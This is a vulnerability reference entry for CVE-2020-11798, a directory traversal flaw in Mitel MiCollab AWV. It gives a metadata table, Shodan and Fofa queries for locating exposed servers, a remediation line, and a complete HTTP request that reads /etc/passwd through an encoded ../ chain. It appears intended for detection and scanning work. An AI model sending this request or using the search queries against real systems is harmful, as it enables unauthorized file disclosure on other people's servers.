| Title | Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to view, modify, or delete arbitrary files on the system, potentially leading to unauthorized access or data leakage. |
| Remediation | Apply the latest security patches or updates provided by Mitel to mitigate the vulnerability and prevent unauthorized access. |
| CVSS Score | 5.3 |
| EPSS Score | 0.85152 |
| CVE ID | CVE-2020-11798 |
| CWE ID | CWE-22 |
| Shodan Query | html:"Mitel" html:"MiCollab"http.html:"mitel" html:"micollab" |
| Fofa Query | body="mitel" html:"micollab" |
| Tags | cve cve2020 packetstorm mitel micollab lfi vkev vuln |
A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories.
GET /awcuser/cgi-bin/vcs_access_file.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11798.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11798.pcap
N/AN/A